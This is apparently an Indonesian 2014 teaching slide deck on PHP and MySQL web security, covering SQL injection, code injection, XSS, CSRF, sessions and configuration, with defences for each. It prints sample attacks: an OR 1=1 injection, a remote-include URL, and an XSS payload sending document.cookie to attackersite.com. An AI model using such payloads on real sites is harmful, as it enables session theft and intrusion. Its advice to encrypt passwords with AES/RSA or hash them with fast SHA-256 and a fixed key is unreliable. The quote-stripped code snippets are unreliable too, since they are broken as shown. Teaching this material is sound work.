Anda di halaman 1dari 50

Web Security

Studi Kasus: PHP & MySQL


ARGA DINATA
29 September 2014
Pendahuluan
Web Security
Goals: menjaga data yang bersifat privat, tetap
menjadi privasi
Issues
Secrets
Menjaga kerahasiaan informasi
Limited Resources
CPU, memori, disk space, & bandwidth itu
terbatas. Jaga resources ini agar tidak dieksploitasi
Good Netizenship
Etika profesi, programmer & sysadmin tidak boleh
melakukan hal yg merugikan sistem
Referensi
Pro PHP Security 2nd Edition: Chris Snyder cs.
https://www.owasp.org
Open Web Application Security Project
Resiko dan Celah Keamanan
Injection
Remote Execution
Cross-Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)
Authentication & Session
Third Party Components
PHP Configuration
Nothing is 100% Secure
- Anonymous -
SQL Injection
Penambahan queri SQL oleh attacker
$username = $_POST[username];
$query = SELECT * FROM pengguna WHERE username
= {$username};

/*
attacker memasukkan arga OR 1 = 1,
sehingga query menjadi:
SELECT * FROM pengguna WHERE username = arga
OR 1 = 1
*/
SQL Injection
Tidak hanya $_POST, tapi bisa juga melalui
$_GET
Yang lebih berbahaya jika injeksi dilakukan pada
query UPDATE dan DELETE
SQL Injection Word List
https://wfuzz.googlecode.com/svn/trunk/
wordlist/Injections/SQL.txt
Pencegahan SQL Injection
Escape karakter khusus menggunakan fungsi
mysql_real_escape_string()
Agar semakin aman:
Gunakan prepared statements &
parameterized queries (PDO / MySQLi)
Cek tipe input dari user dengan fungsi
gettype()
Pastikan jumlah row pada datasource sudah
sesuai
Prepared Statements &
Parameterized Queries
$mysqli = new mysqli($hostname, $username,
$password, $database);

$nama = $_POST[nama];

$stmt = $mysqli->prepare(SELECT * FROM


pengguna WHERE nama = ?);
$stmt->bind_param(s, $nama);
$stmt->execute();
Tools untuk Pengujian SQL Injection

SQL Power Injector


Pangolin
Web Cruiser
SQL Map
SQL Inject Me (Firefox Plugin)
Code Injection
Memasukkan script dari host lain melalui
include()
Misalkan ada URL
http://mysite.com/index.php?content=con
tact.php
Dimana index.php memiliki instruksi
include($_GET[content])
Attacker memasukkan URL seperti ini:
http://mysite.com/index.php?content=htt
p://attackersite.com/injection.php
Code Injection
Dengan kasus tsb., attacker bisa memperoleh
informasi mengenai spesifikasi server dan PHP
dari host menggunakan fungsi phpinfo()
Pencegahan Code Injection
Non-aktifkan parameter allow_url_include
pada php.ini
Cek halaman sehingga yang dieksekusi hanya
halaman yang valid saja
Remote Execution
Mencoba melakukan eksekusi script secara
langsung melalui fungsi-fungsi berikut:
eval()
exec()
passthru()
proc_open()
shell_exec()
system()
Remote Execution dari Upload File
Melalui upload file, attacker dapat
mengunggah script PHP atau file berbahaya
yang lainnya
Pencegahan Remote Execution
Minimalisasi penggunaan fungsi-fungsi untuk
mengeksekusi shell
Cek ekstensi dari file-file yang di-upload
Simpan upload file di luar document root
Matikan fungsi eval() dan phpinfo()
Cross-Site Scripting (XSS)
Memasukkan client-side script dari website
lain ke dalam website kita
Tag HTML yang bisa diinjeksikan:
<script>
<object>
<applet>
<iframe>
<embed>
Cross-Site Scripting (XSS)
Apa yang dilakukan oleh script injeksi tsb?
Mencuri cookies
Manipulasi DOM
Redirect
dll...
Darimana injeksi dilakukan?
Input user yang bersifat publik, dan script bekerja
saat script ditampilkan (contoh: guestbook)
<style>
html { height: 100% }
body { height: 100% }
</style>
<div style=
position: absolute;
top: 0; left: 0;
background: White;
width: 100%; height: 100%
>
<h1>Situs dalam perbaikan</h1>
<a href=#
onclick=javascript:window.location=http://attackersite.
com/cookies.php?cookie=+document.cookie;>Klik di sini
untuk melanjutkan</a>
</div>
Pencegahan XSS
Encode HTML Entities menggunakan fungsi
htmlentities()
Jika input user mengandung link, buat blacklist
URL yang berbahaya
Tools untuk Testing XSS
Web Cruiser
Zed Attack Proxy (ZAP)
XSS Me (Firefox Plugin)
Cross-Site Request Forgery (CSRF)
Akses website dari host lain, tujuannya
melakukan aksi pada website secara otomatis
(robot)
Pencegahan CSRF
Menggunakan CSRF Token (POST maupun
GET)
Cek HTTP Referrer
Challenge-Response:
CAPTCHA
Re-Authentication
One-Time Token
User Authentication
Buat otentikasi user agar halaman hanya
dapat diakses oleh pengguna yang berhak
Untuk menghindari pencurian data &
mengurangi pengrusakan website
Perusak Website
SPAMMER
Pengguna yang melakukan posting konten yang
bersifat promosi
SCAMMER
Pengguna yang melakukan posting hal-hal yang
melanggar hukum: pornografi, SARA, dll...
TROLL
Pengguna yang melakukan bullying pada
pengguna lain
Verifikasi Identitas Pengguna
Simpan identitas pengguna agar:
Mengurangi pengguna yang merusak
Menghindari robot
Jika ada pengrusakan, pengguna dapat dilacak
Verifikasi dapat dilakukan melalui:
Email
SMS
Credit Card
Password
Simpan password dalam bentuk yang sudah
di-hash atau di-enkripsi
Perhatikan panjang dan kompleksitas
password
Sediakan fitur untuk mengubah dan reset
password
Hash / Enkripsi Password
Gunakan algoritma kriptografi yang kuat,
seperti AES, RSA, atau SHA-256. MD5 dan
SHA1 saat ini sudah termasuk yg lemah
Gunakan algoritma yg sudah umum digunakan
Berikan kunci tambahan (salted)
Ganti kunci tambahan tersebut secara
periodik
Multiple key, salah satu independen
Contoh Penyimpanan Password
$key = pwd_key_123*;
$salted_pwd = $key.$password.$email;
$hash_pwd = hash(sha256, $salted_pwd);
Kriptografi
Enkripsi, Hash, & Encode:
Enkripsi: merahasikan pesan, dapat dikembalikan
ke pesan semula menggunakan dekripsi
Hash: merahasikan pesan, tidak dapat
dikembalikan ke pesan semula
Encode: mengubah pesan ke dalam bentuk lain
agar dapat dibaca oleh sistem tertentu. Encode
tidak digunakan untuk merahasiakan pesan
Symmetric vs Asymmetric Key
Symmetric Key
Pengirim dan penerima berbagi kunci rahasia yang
sama
Contoh: 3DES, AES, Blowfish, RC4
Asymmetric Key
Enkripsi dan dekripsi memiliki kunci masing-
masing
Contoh: RSA
User Access Control
Interface yang berbeda-beda
User Group
User Type
User Log
Apache Access Log:
Linux: /var/log/httpd/apache-access_log/
Windows: /apache/logs/
Simpan log pengguna:
Session ID
Date Time
User ID
Request URI
Session
Properti dari session:
Session Key / Session ID
Session Name
Session Length
Session Entropy
Session Content / Session Value
Session Hijacking
Mencuri Session ID sehingga attacker bisa
masuk ke halaman yg sama dengan victim
Pencurian bisa dilakukan dengan:
Packet Sniffing
XSS Attack
Man-in-the-Middle Attack
Main-in-the-Browser Attack
Packet Sniffing
Man-in-the-Middle Attack
Man-in-the-Browser
Hampir sama dengan Man-in-the-Middle
Attack, tetapi interupsi dilakukan oleh Trojan
Horse yg menginfeksi web browser
Session Fixation
Membuat victim menggunakan Session ID
yang telah diatur oleh attacker
Caranya dengan mengirimkan link yang
melakukan assignment cookie di victim
Pencegahan Session Hijacking & Fixation

Buat Session ID baru setiap pengguna login


Ganti nama session (default: PHPSESSID)
Simpan informasi user agent dan IP Address,
cocokkan ketika ada request halaman
Third Party Components
Penggunaan komponen developer lain
memiliki resiko dalam keamanan, terutama
yang bersifat open source
Hampir tidak mungkin kita tidak
menggunakan komponen pihak lain, jadi
solusinya adalah tetap update untuk
memperoleh versi terbarunya
PHP Configuration
register_global = Off
allow_url_fopen = Off
allow_url_include = Off
error_reporting = E_ALL
log_errors = On
display_errors = On (development), Off
(production)
magic_quotes_gpc = Off
post_max_size, upload_max_filesize,
memory_limit
Secure Socket Layer (SSL)
Protokol yang menggunakan kriptografi dalam
pengiriman data, agar komunikasi lebih aman
Sekarang Transport Layer Security
Kriptografi menggunakan kunci asimetris
(asymmetric key)
Public-Key Infrastructure x.509
Secure Socket Layer (SSL)

Anda mungkin juga menyukai